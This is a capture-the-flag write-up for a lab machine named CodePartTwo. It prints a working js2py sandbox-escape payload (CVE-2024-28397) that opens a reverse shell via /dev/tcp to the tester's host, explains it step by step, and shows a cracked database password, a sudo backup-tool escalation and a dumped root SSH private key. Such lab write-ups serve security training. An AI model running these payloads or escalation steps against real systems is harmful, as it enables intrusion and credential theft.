Introduction #
Following a similar pattern to Code, this box presents a website with a JavaScript code editor. By downloading the site’s source code, I identify a vulnerable library that facilitates a sandbox escape, leading to code execution and ultimately, a foothold on the host system. Once on the host, I find a database containing credentials for another user. Leveraging their sudo privileges over a backup utility, I am able to get a copy of /root directory, which holds both the flag and an SSH key for easy access.
Recon #
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (8000):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.47.160
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
| 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web - TCP 8000 #
Starting with the website:

I can create an account and log in:


Once logged in I see code window for javascript code:

There is also an option to download the app
I get a app.zip which contains two interesting files: app.py, requirements.txt - there is also users.db in /app/instance but the database is empty.
Code review #
Looking at the python code there are few mistakes, for example a hardcoded secret_key: app.secret_key = 'S3cr3tK3yC0d3PartTw0' but this is a showcase version, the deployed version might be different and in most cases is.
Next, there is much more serious issue.
In the /run_code endpoint the user controlled code is used by js2py.eval_js() function"
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
That is the prime spot for something to go wrong.
Looking at requirements.txt:
└─$ cat requirements.txt
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
There is js2py 0.74 - quick Google search points me towards a promising-looking CVE
CVE-2024-28397 #
TL;DR - There is a vulnerability in the implementation of a global variable inside js2py, that will allow me to get a reference to a python object in the js2py environment, and so I can escape the JS environment and execute arbitrary commands on the host.
There is an attempt to prevent that, the js2py.disable_pyimport() function at the top. It was designed to prevent JavaScript code from directly importing Python modules using js2py’s pyimport(), but it only blocks that one specific mechanism. CVE-2024-28397 exploit other pathways to escape the JavaScript sandbox.
More info HERE
To test if POST request will execute code I can send a quick test request:
└─$ curl -X POST http://10.129.47.160:8000/run_code \
-H "Content-Type: application/json" \
-d '{"code": "2+2"}'
{"result":4}
And it does, now I can try a little more complex with a reverse shell, heavily inspired by PoC from HERE
└─$ curl -X POST http://10.129.47.160:8000/run_code \
-H "Content-Type: application/json" \
-d '{
"code": "let cmd = \"bash -c '\''/bin/bash -i >& /dev/tcp/10.10.14.68/4444 0>&1'\''\"; let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__; let obj = a(a(a, \"__class__\"), \"__base__\"); function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i]; if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") { return item; } if(item.__name__ != \"type\" && (result = findpopen(item))) { return result; } } } findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();"
}'
Explanation #
Leaky Abstraction
js2py is supposed to create a “sandbox” where JavaScript runs safely, isolated from Python. But here’s the critical flaw: js2py implements JavaScript objects as Python objects underneath.
When I create a JavaScript object like {}, js2py doesn’t create a true isolated JavaScript object - it creates a Python object that behaves like a JavaScript object. This means Python’s object model is still accessible.
Breaking Out: Accessing Python’s Object Hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
Step 1: Object.getOwnPropertyNames({})
- Returns an array of property names from an empty object.
- In js2py, this returns a PyJsArray object (Python class disguised as JavaScript array).
Step 2: .__class__
- This is NOT a JavaScript property - it’s a Python special attribute
- In Python, every object has
.__class__which references its class - For the PyJsArray, this returns something like
<class 'js2py.base.PyJsArray'> - This is where I escape the JavaScript sandbox into Python!
Step 3: .__base__
- Another Python special attribute
- Gets the base/parent class in the inheritance hierarchy
- Moves us up the chain toward Python’s root
objectclass
Step 4: .__getattribute__
- Gets Python’s attribute access method
- This method is used to access any attribute on any Python object
- Now stored in variable
a
Step 5: let obj = a(a(a, "__class__"), "__base__");
a(a, "__class__")= Get the__class__of__getattribute__method- Then get
__base__of that class - Result:
objnow holds Python’s baseobjectclass
In Python, the object class is the ancestor of ALL classes. From here, we can access every single class.
Finding the subprocess.Popen
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
Step 1: o.__subclasses__()
object.__subclasses__()returns a list of ALL classes that inherit fromobject- This includes:
list,dict,str,int, and importantlysubprocess.Popen
Step 2: Loop through and search
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
- Search specifically for the
Popenclass from thesubprocessmodule subprocess.Popenis Python’s class for executing system commands
Step 3: Recursive search
if(item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
- If not found in direct subclasses, search recursively
- This searches the entire class hierarchy tree and eventually finds
subprocess.Popen
Execute the Payload
let cmd = 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1';
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Step 1: findpopen(obj)
- Returns the
subprocess.Popenclass itself
Step 2: findpopen(obj)(...)
- Calls the
Popenconstructor, creating a newPopeninstance - The arguments map to Popen’s parameters:
# Equivalent Python code:
subprocess.Popen(
cmd, # The command to execute
-1, # bufsize
None, # executable
-1, # stdin
-1, # stdout
-1, # stderr
None, # preexec_fn
None, # close_fds
True # shell=True
)
The shell=True parameter is crucial - tells Popen to execute the command through a shell (bash), which allows:
- Bash redirections like
>& - Special files like
/dev/tcp/ - Command chaining
Step 3: .communicate()
- Waits for the process to complete
- Executes the command immediately
Why disable_pyimport() Failed to Protect
js2py.disable_pyimport()
This function ONLY disables the pyimport() JavaScript function, which allows direct imports like:
// This would be blocked:
var os = pyimport('os');
But this exploit never uses pyimport(), instead, it uses standard JavaScript object introspection, exploits the fact that js2py objects ARE Python objects, accesses Python internals through __class__ attribute and navigates the object hierarchy that’s already loaded in memory
Shell as app #
and I get a shell at my listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.68] from (UNKNOWN) [10.129.47.160] 35460
bash: cannot set terminal process group (937): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$
As in the .zip before, there is a users.db in /app/instance:
app@codeparttwo:~/app/instance$ ls
ls
users.db
Only this time it is not empty:
app@codeparttwo:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code_snippet user
sqlite> select * from user;
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
I fire up CrackStation and get a password for marco:

marco:sweetangelbabylove
Root #
With the pawwsord I can su or ssh in and grab the user flag:
└─$ ssh marco@10.129.47.160
marco@10.129.47.160's password:
<SNIP>
marco@codeparttwo:~$ ls
backups npbackup.conf user.txt
marco@codeparttwo:~$ cat user.txt
Moving to root, I start with clasic sudo -l:
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
Ok, there is one hit:
marco@codeparttwo:~$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
# Block restricted flag
if '--external-backend-binary' in sys.argv:
print("Error: '--external-backend-binary' flag is restricted for use.")
sys.exit(1)
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
When attempting to run I get this:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli
2026-01-20 08:42:51,120 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-20 08:42:51,120 :: CRITICAL :: Cannot run without configuration file.
2026-01-20 08:42:51,126 :: INFO :: ExecTime = 0:00:00.009120, finished, state is: critical.
Ok, I need a configuration file, there is sample one in my folder:
marco@codeparttwo:~$ ls
backups npbackup.conf user.txt
marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: []
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
instance: ${MACHINE_ID}
destination:
http_username:
http_password:
additional_labels: {}
no_cert_verify: false
global_options:
auto_upgrade: false
auto_upgrade_percent_chance: 5
auto_upgrade_interval: 15
auto_upgrade_server_url:
auto_upgrade_server_username:
auto_upgrade_server_password:
auto_upgrade_host_identity: ${MACHINE_ID}
auto_upgrade_group: ${MACHINE_GROUP}
I can change the path to anything else
paths:
- /root/
save it as new config file and run the backup:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf -b
2026-01-20 09:33:37,096 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-20 09:33:37,135 :: INFO :: Loaded config 09F15BEC in /home/marco/conf2.conf
2026-01-20 09:33:37,148 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-01-20 09:33:39,318 :: INFO :: Snapshots listed successfully
2026-01-20 09:33:39,319 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-01-20 09:33:39,320 :: INFO :: Runner took 2.171653 seconds for has_recent_snapshot
2026-01-20 09:33:39,320 :: INFO :: Running backup of ['/root/'] to repo default
2026-01-20 09:33:40,399 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2026-01-20 09:33:40,400 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files
Files: 15 new, 0 changed, 0 unmodified
Dirs: 8 new, 0 changed, 0 unmodified
Added to the repository: 190.612 KiB (39.887 KiB stored)
processed 15 files, 197.660 KiB in 0:00
snapshot 56564a79 saved
2026-01-20 09:33:41,529 :: INFO :: Backend finished with success
2026-01-20 09:33:41,532 :: INFO :: Processed 197.7 KiB of data
2026-01-20 09:33:41,532 :: ERROR :: Backup is smaller than configured minmium backup size
2026-01-20 09:33:41,533 :: ERROR :: Operation finished with failure
2026-01-20 09:33:41,533 :: INFO :: Runner took 4.386201 seconds for backup
2026-01-20 09:33:41,533 :: INFO :: Operation finished
2026-01-20 09:33:41,539 :: INFO :: ExecTime = 0:00:04.445889, finished, state is: errors.
It ran and now I can look at any file in /root using the snapshot id mentioned in the output above:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf --dump /root/root.txt --snapshot-id 56564a79
20d6d75af5e0a31c6243a47ae774bf85
Be the Root #
Same as the root flag I can grab a ssh key:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf --dump /root/.ssh/id_rsa --snapshot-id 56564a79
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Save it on my machine:
└─$ nano id_rsa
└─$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
VXRep4N+ujxYKVfcT3HZYR6PsqXkOrIb99zwr1GkEeAIPdz7ON0pwEYFxsHHnBr+rPAp9d
EaM7OOojou1KJTNn0ETKzvxoYelyiMkX9rVtaETXNtsSewYUj4cqKe1l/w4+MeilBdFP7q
kiXtMQ5nyiO2E4gQAvXQt9bkMOI1UXqq+IhUBoLJOwxoDwuJyqMKEDGBgMoC2E7dNmxwJV
XQSdbdtrqmtCZJmPhsAT678v4bLUjARk9bnl34/zSXTkUnH+bGKn1hJQ+IG95PZ/rusjcJ
hNzr/GTaAntxsAZEvWr7hZF/56LXncDxS0yLa5YVS8YsEHerd/SBt1m5KCAPGofMrnxSSS
pyuYSlw/OnTT8bzoAY1jDXlr5WugxJz8WZJ3ItpUeBi4YSP2Rmrc29SdKKqzryr7AEn4sb
JJ0y4l95ERARsMPFFbiEyw5MGG3ni61Xw62T3BTlAAAFiCA2JBMgNiQTAAAAB3NzaC1yc2
EAAAGBAPWqTY42tv77g1eGmlYXl5y2wnu3SQSP5eC4XNJ0AORfcBhcZLyBMlV0XqeDfro8
WClX3E9x2WEej7Kl5DqyG/fc8K9RpBHgCD3c+zjdKcBGBcbBx5wa/qzwKfXRGjOzjqI6Lt
SiUzZ9BEys78aGHpcojJF/a1bWhE1zbbEnsGFI+HKintZf8OPjHopQXRT+6pIl7TEOZ8oj
thOIEAL10LfW5DDiNVF6qviIVAaCyTsMaA8LicqjChAxgYDKAthO3TZscCVV0EnW3ba6pr
QmSZj4bAE+u/L+Gy1IwEZPW55d+P80l05FJx/mxip9YSUPiBveT2f67rI3CYTc6/xk2gJ7
cbAGRL1q+4WRf+ei153A8UtMi2uWFUvGLBB3q3f0gbdZuSggDxqHzK58UkkqcrmEpcPzp0
0/G86AGNYw15a+VroMSc/FmSdyLaVHgYuGEj9kZq3NvUnSiqs68q+wBJ+LGySdMuJfeREQ
EbDDxRW4hMsOTBht54utV8Otk9wU5QAAAAMBAAEAAAGBAJYX9ASEp2/IaWnLgnZBOc901g
RSallQNcoDuiqW14iwSsOHh8CoSwFs9Pvx2jac8dxoouEjFQZCbtdehb/a3D2nDqJ/Bfgp
4b8ySYdnkL+5yIO0F2noEFvG7EwU8qZN+UJivAQMHT04Sq0yJ9kqTnxaOPAYYpOOwwyzDn
zjW99Efw9DDjq6KWqCdEFbclOGn/ilFXMYcw9MnEz4n5e/akM4FvlK6/qZMOZiHLxRofLi
1J0Elq5oyJg2NwJh6jUQkOLitt0KjuuYPr3sRMY98QCHcZvzUMmJ/hPZIZAQFtJEtXHkt5
UkQ9SgC/LEaLU2tPDr3L+JlrY1Hgn6iJlD0ugOxn3fb924P2y0Xhar56g1NchpNe1kZw7g
prSiC8F2ustRvWmMPCCjS/3QSziYVpM2uEVdW04N702SJGkhJLEpVxHWszYbQpDatq5ckb
SaprgELr/XWWFjz3FR4BNI/ZbdFf8+bVGTVf2IvoTqe6Db0aUGrnOJccgJdlKR8e2nwQAA
AMEA79NxcGx+wnl11qfgc1dw25Olzc6+Jflkvyd4cI5WMKvwIHLOwNQwviWkNrCFmTihHJ
gtfeE73oFRdMV2SDKmup17VzbE47x50m0ykT09KOdAbwxBK7W3A99JDckPBlqXe0x6TG65
UotCk9hWibrl2nXTufZ1F3XGQu1LlQuj8SHyijdzutNQkEteKo374/AB1t2XZIENWzUZNx
vP8QwKQche2EN1GQQS6mGWTxN5YTGXjp9jFOc0EvAgwXczKxJ1AAAAwQD7/hrQJpgftkVP
/K8GeKcY4gUcfoNAPe4ybg5EHYIF8vlSSm7qy/MtZTh2Iowkt3LDUkVXcEdbKm/bpyZWre
0P6Fri6CWoBXmOKgejBdptb+Ue+Mznu8DgPDWFXXVkgZOCk/1pfAKBxEH4+sOYOr8o9SnI
nSXtKgYHFyGzCl20nAyfiYokTwX3AYDEo0wLrVPAeO59nQSroH1WzvFvhhabs0JkqsjGLf
kMV0RRqCVfcmReEI8S47F/JBg/eOTsWfUAAADBAPmScFCNisrgb1dvow0vdWKavtHyvoHz
bzXsCCCHB9Y+33yrL4fsaBfLHoexvdPX0Ssl/uFCilc1zEvk30EeC1yoG3H0Nsu+R57BBI
o85/zCvGKm/BYjoldz23CSOFrssSlEZUppA6JJkEovEaR3LW7b1pBIMu52f+64cUNgSWtH
kXQKJhgScWFD3dnPx6cJRLChJayc0FHz02KYGRP3KQIedpOJDAFF096MXhBT7W9ZO8Pen/
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
And use that to ssh in as root:
└─$ chmod 600 id_rsa
└─$ ssh -i id_rsa root@10.129.232.59
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue 20 Jan 2026 09:37:15 AM UTC
System load: 0.0
Usage of /: 57.4% of 5.08GB
Memory usage: 23%
Swap usage: 0%
Processes: 227
Users logged in: 1
IPv4 address for eth0: 10.129.232.59
IPv6 address for eth0: dead:beef::250:56ff:fe94:86b2
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jan 20 09:37:16 2026 from 10.10.14.68
root@codeparttwo: